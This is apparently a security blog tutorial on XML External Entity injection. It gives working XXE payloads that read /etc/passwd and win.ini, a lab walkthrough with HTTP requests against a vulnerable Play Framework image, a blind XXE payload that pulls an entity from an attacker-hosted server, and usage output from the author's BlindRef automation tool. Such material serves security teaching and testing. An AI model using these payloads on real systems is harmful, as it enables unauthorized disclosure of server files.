XML External Entity (XXE) Injection:
The vuln that keeps on giving...
XXE Injection can occur when XML parsers are overly permissive in their configurations and allow for the processing of external XML entities. These external entities can reference files on the local file system or even share drives. The successful exploitation of XXE can result in the ability to compromise sensitive configuration files, the mapping of internal networks, and even the sending of email.
To best explain and demonstrate the exploitation of XXE, we must first start with the basics - XML.
What is XML?
XML stands for eXtensible Markup Language.1
- XML is a markup language much like HTML
- XML was designed to store and transport data
- XML was designed to be self-descriptive
- XML is a W3C Recommendation
XML Tree Structure
Here is a sample XML structure for a shipping order:2
<?xml version="1.0" encoding="UTF-8"?> <shiporder orderid="889923" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="shiporder.xsd"> <orderperson>John Smith</orderperson> <shipto> <name>Ola Nordmann</name> <address>Langgt 23</address> <city>4000 Stavanger</city> <country>Norway</country> </shipto> <item> <title>Empire Burlesque</title> <note>Special Edition</note> <quantity>1</quantity> <price>10.90</price> </item> <item> <title>Hide your heart</title> <quantity>1</quantity> <price>9.90</price> </item> </shiporder>
The XML 1.0 standard defines the structure of an XML document. The standard defines a concept referred to as an entity, which is a storage unit of some type.3
There are different types of entities, but the one we're focusing on is externally referenced. External entities are valuable to attackers because they can access local or remote content via declared system identifiers.
So what's this look like? Here's the 'defacto' XXE injection used for proof of concept purposes on *NIX-based platforms. The way it works is simple, a SYSTEM identifier is declared. The identifier references the local file "/etc/passwd" which discloses all users of the machine. The result of the entity 'xxe' (which includes the results of /etc/passwd) is included within the application's failed login response.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
For IIS servers:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
There are two primary types of XML injection:
- XXE attacks which include output within the server's response.
- Blind XXE - Attacks which process an entity, but do not include the results within output. We must instead entice the application server to 'send us' the response.
Attacking XML Parsers
Upon receiving user-supplied requests, application servers parse the provided data and process it to perform some action. Examples include:
- Transferring money
- Updating a profile
Unfortunately however, XML parsers are often times misconfigured and enable the processing of external XML entities when they did not intend to. In addition, no sort of input validation occurs, resulting in the ability to reference any content referenced by an entity. This misconfiguration can result in the ability to access local system resources.
Once such example of a vulnerable application is the Play Framework:4
- Play v2.1.0 - 2.1.4
- Play v2.0 - 2.0.7
Proof of Concept
In this demo, we will exploit the Play v2.1.0 Framework by including external XML entities. Doing so will enable us to obtain file contents from the hosting application server.
This walk through uses a vulnerable image put together by pentestlabs.com, the image can be downloaded here
POST /login HTTP/1.1 Host: 172.16.208.136 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://172.16.208.136/login Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 33 username=auser&password=apassword
HTTP/1.1 200 OK Date: Sat, 25 Feb 2017 21:18:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2047 Set-Cookie: PLAY_FLASH="error=Error%3A+Invalid+username+or+password"; Path=/; HTTPOnly Connection: close (implicit session: play.api.mvc.Session)
Requesting with modified Content-Type:
POST /login HTTP/1.1 Host: 172.16.208.136 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://172.16.208.136/login Cookie: PLAY_FLASH=test Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 33 username=auser&password=apassword
HTTP/1.1 400 Bad Request Date: Sat, 25 Feb 2017 21:20:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1909 Connection: close <h1>Bad request</h1> <p id="detail">For request 'POST /login' [Invalid XML]</p>
Requesting Externally Hosted XML Entity:
POST /login HTTP/1.1 Host: 172.16.208.136 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://172.16.208.136/login Cookie: PLAY_FLASH=test Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 199 <?xml version="1.0" ?> <!DOCTYPE xxeElement [ <!ELEMENT xxeElement ANY > <!ENTITY % xxeEntity SYSTEM "http://172.16.208.1/ev.xml"> %xxeEntity; %content; ]> <xxeElement>&xxeEntity;</xxeElement>
Receiving contents of /etc/passwd:
Automating Blind XXE Attacks
As a mental exercise, I thought it'd be fun to write up a quick POC demonstrating the ability to automate the process of enumerating local system files via Blind XXE. In doing so, 'BlindRef' was born. BlindRef is an infantile project that has much to learn, but in its current state serves as a research base while conducting web application assessments.
Note: This script is actively being developed as BlindRef
A few steps are required to setup this post exploitation script. For ease of use, we will be using BurpSuite Professional.
Is BurpSuite Professional required to use this script? No, absolutely not. But is BurpSuite kickass? Yes, Yes it is.
BurpSuite serves as a proxy. Using Burp's Extender, we are able to create custom modules and extensions to add functionality to Burp's functionality. One such useful extension is, 'Copy as requests', which takes a request and throws it into a python request using the requests library.
Introducing BlindRef v0.2
This framework can be leveraged to automate the process of file enumeration via the successful exploitation of XXE vulnerabilities.
BlindRef_Attacker.py -s serverURL -p serverPort -r webRequest
How to use:
To use BlindRef in the most effective manner, the following steps are recommended:
- Fire up a proxy of your choosing
- Capture a request that you can leverage to compromise a local system file
Convert the request into a python friendly request (using requests library)
Save your clipboard as a file of your choosing. [For demonstration purposes we will use sampleRequest.py]
- Modify the request by including the BLINDREF tag within the vulnerable parameter
BlindRef then automates the process of enumerating files of the hosting application server by iterating through payloads within the 'BLINDREF' tag.
Note: In its current state, BlindRef does not actively detect XXE vulnerabilities. It requires you to first determine an effective payload position. This will of course change in the future but hey, it's a start.
The operation has two components - BlindRefServer and BlindRefAttacker
BlindRef_Server: The 'brain' of the operation that hosts and serves entities to the vulnerable web application.
python BlindRef_Server.py -s http://172.16.208.1 -p 8080 Starting server on port 8080...
BlindRefAttacker: Instantiates requests to the vulnerable web server to kick off requests for entities hosted on the BlindRefServer.
python BlindRef_Attacker.py -s http://172.16.208.1 -p 8080 -r sampleRequest.py Requesting contents of: /etc/passwd root:x:0:0:root:/root:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/false tc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh play:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false mysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false
These components can reside on separate boxes (additional enhancements will be made to this).
The raw code can be found on GitHub, here.
Let’s run it and see what happens..